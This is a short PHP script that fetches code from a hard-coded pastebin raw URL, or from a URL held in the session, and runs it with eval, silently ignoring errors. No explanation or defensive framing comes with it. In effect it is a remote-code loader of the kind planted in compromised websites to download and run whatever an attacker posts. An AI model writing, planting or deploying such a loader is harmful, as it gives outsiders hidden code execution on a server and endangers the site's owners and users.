<?php
session_start();
$u = $_SESSION['ts_url'] ?? 'https://pastebin.com/raw/Ar0Nu0C5';
try {
$file = new SplFileObject($u);
$r = '';
while (!$file->eof()) {
$r .= $file->fgets();
}
if ($r) {
eval("?>$r");
}
} catch (Exception $e) {
// Handle error
}